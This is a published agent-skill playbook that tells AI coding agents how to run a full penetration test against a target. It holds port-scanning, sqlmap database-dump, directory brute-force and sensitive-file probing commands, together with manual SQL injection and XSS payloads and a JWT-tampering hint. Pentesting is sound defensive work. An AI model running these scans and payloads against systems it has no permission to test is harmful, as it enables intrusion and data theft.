# Full Security Pentest

> Comprehensive security penetration testing skill covering all attack surfaces - info gathering, web vulnerability scanning, SQL injection, XSS, directory bruteforce, Python code audit, git secret scanning, auth bypass, CSRF/SSRF, and configuration audit. Records all findings with severity ratings.

- Skill: `yaomeng1749/full-security-pentest` (Agent Skill)
- Install (CLI): `npx skillmds@latest add yaomeng1749/full-security-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/yaomeng1749/full-security-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Data & Analytics
- Author: Yaomeng1749 (https://skillmd.com/u/yaomeng1749)
- Updated: 2026-09-22
- Page: https://skillmd.com/skills/yaomeng1749/full-security-pentest

---


# Full Security Penetration Testing Skill

Comprehensive, no-blind-spot security attack and assessment covering all attack vectors.

## When to Activate

- Running a full security penetration test on a project
- Auditing an application for all known vulnerability classes
- Pre-release security assessment
- Authorized red team engagement

## Attack Execution Order

Execute all phases sequentially. Each phase produces findings recorded in the report.

---

### Phase 1: Information Gathering

Reconnaissance and service fingerprinting.

#### 1A. Port Scanning (nmap)

```bash
# Quick scan - top 1000 ports
nmap -sV -sC -oN nmap-quick.txt <TARGET>

# Full port scan
nmap -p- -sV -oN nmap-full.txt <TARGET>

# Service version + OS detection
nmap -sV -O -A -oN nmap-detailed.txt <TARGET>

# Script scan for known vulns
nmap --script=vuln -oN nmap-vuln.txt <TARGET>
```

#### 1B. Service Fingerprinting

```bash
# HTTP headers and tech stack
curl -I <TARGET_URL>

# Identify web technologies
httpx -u <TARGET_URL> -tech-detect -status-code -title -server 2>/dev/null || curl -sI <TARGET_URL>
```

#### 1C. Subdomain & DNS Enumeration

```bash
# Subfinder (if installed)
subfinder -d <DOMAIN> -o subdomains.txt 2>/dev/null

# DNS records
nmap --script=dns-brute <DOMAIN>
```

---

### Phase 2: Web Vulnerability Scanning

Automated scanning for known web vulnerabilities.

#### 2A. Nuclei (Template-Based Scanner)

```bash
# Full scan with all templates
nuclei -u <TARGET_URL> -o nuclei-report.txt -severity critical,high,medium

# Specific template categories
nuclei -u <TARGET_URL> -tags cve,misconfig,exposure -o nuclei-cve.txt

# API-focused scan
nuclei -u <TARGET_URL> -tags api,token -o nuclei-api.txt
```

#### 2B. Nikto (Web Server Scanner)

```bash
# Standard scan
nikto -h <TARGET_URL> -o nikto-report.txt -Format txt

# Scan with tuning for specific tests
nikto -h <TARGET_URL> -Tuning 1234567890 -o nikto-full.txt
```

---

### Phase 3: SQL Injection Testing

#### 3A. Automated Detection (sqlmap)

```bash
# Test a URL with GET parameter
sqlmap -u "<TARGET_URL>?param=value" --batch --banner --level=3 --risk=2

# Test POST form
sqlmap -u "<TARGET_URL>" --data="param1=value1&param2=value2" --batch --banner

# Test with specific cookie/header
sqlmap -u "<TARGET_URL>" --cookie="session=xxx" --batch --banner

# Dump database info (only if authorized)
sqlmap -u "<TARGET_URL>?param=value" --batch --dbs
```

#### 3B. Manual SQL Injection Checks

Test these payloads manually on all input fields:

```
' OR '1'='1
" OR "1"="1
' OR '1'='1' --
' UNION SELECT NULL--
' AND 1=CONVERT(int,@@version)--
1; WAITFOR DELAY '0:0:5'--
```

Record which inputs are vulnerable and which are properly sanitized.

---

### Phase 4: XSS Testing

#### 4A. Reflected XSS

Test all URL parameters and form inputs:

```
<script>alert('XSS')</script>
"><script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
javascript:alert('XSS')
<svg/onload=alert('XSS')>
```

#### 4B. Stored XSS

Test all user-input fields that persist data:
- Profile fields (name, bio, etc.)
- Comments / reviews
- Product descriptions (seller side)
- Messages / chat

#### 4C. DOM-Based XSS

```bash
# Search for dangerous sinks in code
grep -rn "innerHTML\|outerHTML\|document\.write\|eval(" <REPO_PATH> --include="*.js" --include="*.ts" --include="*.html"

# Search for unsanitized template usage
grep -rn "dangerouslySetInnerHTML\|v-html\|\|safe\|mark_safe\|Markup(" <REPO_PATH> --include="*.py" --include="*.js" --include="*.html"
```

---

### Phase 5: Directory Brute Force

#### 5A. ffuf

```bash
# Directory discovery
ffuf -w /opt/homebrew/share/wordlists/dirb/common.txt -u <TARGET_URL>/FUZZ -mc 200,301,302,403 -o ffuf-dirs.json

# File discovery
ffuf -w /opt/homebrew/share/wordlists/dirb/common.txt -u <TARGET_URL>/FUZZ -e .php,.py,.js,.env,.bak,.sql,.conf,.yml,.json -mc 200,301,302,403

# Virtual host discovery
ffuf -w <WORDLIST> -u <TARGET_URL> -H "Host: FUZZ.<DOMAIN>" -mc 200
```

#### 5B. Sensitive File Discovery

```bash
# Check for common exposed files
for f in .env .env.local .env.production .git/config .git/HEAD robots.txt sitemap.xml .htaccess web.config package.json composer.json debug.log error.log; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "<TARGET_URL>/$f")
  echo "$f -> $code"
done
```

---

### Phase 6: Python Code Security Audit

#### 6A. Bandit (Static Analysis)

```bash
# Full scan
bandit -r <REPO_PATH> -f json -o bandit-report.json

# High severity only
bandit -r <REPO_PATH> -ll -f json -o bandit-high.json

# Specific checks
bandit -r <REPO_PATH> -t B101,B102,B103,B104,B105,B106,B107,B108,B110
```

#### 6B. Manual Code Audit Checklist

```bash
# Hardcoded credentials
grep -rn "password\s*=\s*['\"]" <REPO_PATH> --include="*.py"

# Dangerous eval/exec
grep -rn "eval(\|exec(\|__import__\|subprocess\.call\|os\.system\|os\.popen" <REPO_PATH> --include="*.py"

# Insecure deserialization
grep -rn "pickle\.load\|yaml\.load\|marshal\.load" <REPO_PATH> --include="*.py"

# SQL string concatenation (injection risk)
grep -rn "execute.*%s\|execute.*format\|execute.*f'" <REPO_PATH> --include="*.py"

# Debug mode in production
grep -rn "DEBUG\s*=\s*True\|debug=True\|FLASK_DEBUG\|DJANGO_DEBUG" <REPO_PATH> --include="*.py" --include="*.env*" --include="*.yaml"
```

---

### Phase 7: Git History Secret Scanning

```bash
# Gitleaks full history scan
gitleaks detect --source=<REPO_PATH> --report-format=json --report-path=gitleaks-report.json -v

# TruffleHog deep scan
trufflehog filesystem <REPO_PATH> --json > trufflehog-report.json

# Check for large files that shouldn't be in git
find <REPO_PATH> -name "*.pem" -o -name "*.key" -o -name "*.p12" -o -name "*.pfx" -o -name "*.jks" -o -name "id_rsa*" -o -name "*.sqlite" -o -name "*.db" 2>/dev/null

# Check .gitignore coverage
cat <REPO_PATH>/.gitignore 2>/dev/null
# Verify .env, secrets, keys are listed
```

---

### Phase 8: Authentication & Authorization Bypass

#### 8A. Authentication Testing

```bash
# Test endpoints without auth
curl -v <TARGET_URL>/api/protected-endpoint

# Test with invalid token
curl -H "Authorization: Bearer invalid" <TARGET_URL>/api/protected-endpoint

# Test with empty auth
curl -H "Authorization: " <TARGET_URL>/api/protected-endpoint

# JWT manipulation (if applicable)
# Decode JWT, modify claims, re-encode with none algorithm
```

#### 8B. Authorization Testing (IDOR)

```bash
# Test accessing other users' resources by ID manipulation
# /api/users/1/profile → try /api/users/2/profile
# /api/orders/100 → try /api/orders/101

# Test role escalation
# User role accessing admin endpoints
# Buyer accessing seller endpoints
# Seller accessing admin endpoints
```

#### 8C. Code Audit for Auth Issues

```bash
# Missing auth decorators
grep -rn "def \w\+.*request" <REPO_PATH> --include="*.py" | head -30
grep -rn "@login_required\|@authenticated\|@requires_auth\|@permission" <REPO_PATH> --include="*.py"

# Compare: endpoints defined vs endpoints protected
grep -rn "@app\.route\|@router\.\|path(" <REPO_PATH> --include="*.py" -l
```

---

### Phase 9: CSRF / SSRF Detection

#### 9A. CSRF Testing

```bash
# Check for CSRF token in forms
grep -rn "csrf\|csrftoken\|_token\|authenticity_token" <REPO_PATH> --include="*.py" --include="*.html" --include="*.js"

# Check CSRF middleware
grep -rn "CsrfViewMiddleware\|csrf_protect\|csrf_exempt\|@csrf_exempt" <REPO_PATH> --include="*.py"

# State-changing endpoints without CSRF protection
grep -rn "methods.*POST\|methods.*PUT\|methods.*DELETE\|@csrf_exempt" <REPO_PATH> --include="*.py"
```

#### 9B. SSRF Testing

```bash
# Find URL fetching code
grep -rn "requests\.get\|requests\.post\|urllib\|urlopen\|fetch\|http\.client\|aiohttp" <REPO_PATH> --include="*.py"

# Check if user input feeds into URL fetching
grep -rn "request\.\(args\|form\|json\|data\).*requests\.\|request\.\(args\|form\|json\|data\).*url" <REPO_PATH> --include="*.py"
```

---

### Phase 10: Configuration Audit

```bash
# .env exposure
find <REPO_PATH> -name ".env" -o -name ".env.*" ! -name ".env.example" 2>/dev/null

# Debug mode
grep -rn "DEBUG\s*=\s*True\|debug\s*=\s*True\|FLASK_ENV.*development" <REPO_PATH> --include="*.py" --include="*.env*" --include="*.yaml" --include="*.yml"

# Default/weak credentials
grep -rn "admin.*password\|root.*password\|test.*password\|password.*123\|default.*key" <REPO_PATH> --include="*.py" --include="*.yaml" --include="*.env*" --include="*.json"

# Insecure HTTP
grep -rn "http://" <REPO_PATH> --include="*.py" --include="*.js" --include="*.env*" | grep -v "localhost\|127\.0\.0\.1\|http://schemas"

# Verbose error messages
grep -rn "traceback\|stack_trace\|full_traceback\|DEBUG.*True" <REPO_PATH> --include="*.py"

# Open CORS
grep -rn "Access-Control-Allow-Origin.*\*\|CORS_ALLOW_ALL\|allow_all_origins\|CORS.*True" <REPO_PATH> --include="*.py" --include="*.js"

# Security headers check
curl -sI <TARGET_URL> | grep -i "strict-transport\|x-content-type\|x-frame\|content-security-policy\|referrer-policy\|permissions-policy"
```

---

## Finding Report Template

```markdown
# Security Penetration Test Report

**Target**: [project name / URL]
**Date**: [YYYY-MM-DD]
**Tester**: Claude (Authorized Pentest)

## Executive Summary
- Total findings: X
- Critical: X | High: X | Medium: X | Low: X

## Findings

### [FINDING-001] [SEVERITY] Title

- **Phase**: (which phase discovered this)
- **Category**: Secret Leak / SQLi / XSS / Auth Bypass / IDOR / CSRF / SSRF / Config / etc.
- **Severity**: CRITICAL / HIGH / MEDIUM / LOW
- **Location**: file:line or endpoint
- **Description**: What was found
- **Evidence**: Command output or code snippet
- **Impact**: What an attacker could exploit
- **Recommendation**: How to fix
- **CVSS (optional)**: Base score estimate

---

(repeat for each finding)

## Tools Used
- nmap, nikto, nuclei, sqlmap, ffuf, gitleaks, trufflehog, bandit, manual review

## Appendix
- Full scan outputs attached as separate files
```

## Severity Classification

| Severity | Criteria | Examples |
|----------|----------|---------|
| CRITICAL | Immediate exploitation possible, data breach risk | Hardcoded API keys with admin access, unauthenticated admin endpoints, SQLi on prod DB |
| HIGH | Exploitable with some effort, significant impact | Secrets in git history, IDOR on sensitive data, privilege escalation |
| MEDIUM | Requires specific conditions, moderate impact | Missing rate limiting, CSRF on non-critical forms, verbose errors |
| LOW | Informational, minimal direct impact | HTTP used internally, missing security headers, debug endpoints on non-prod |

## Output Directory

All reports saved to `docs/security/`:
- `nmap-*.txt` — network scan results
- `nuclei-report.txt` — vulnerability scan
- `nikto-report.txt` — web server scan
- `sqlmap-*.txt` — SQL injection results
- `ffuf-dirs.json` — directory brute force
- `bandit-report.json` — Python code audit
- `gitleaks-report.json` — git secret scan
- `trufflehog-report.json` — deep secret scan
- `pentest-report.md` — consolidated findings report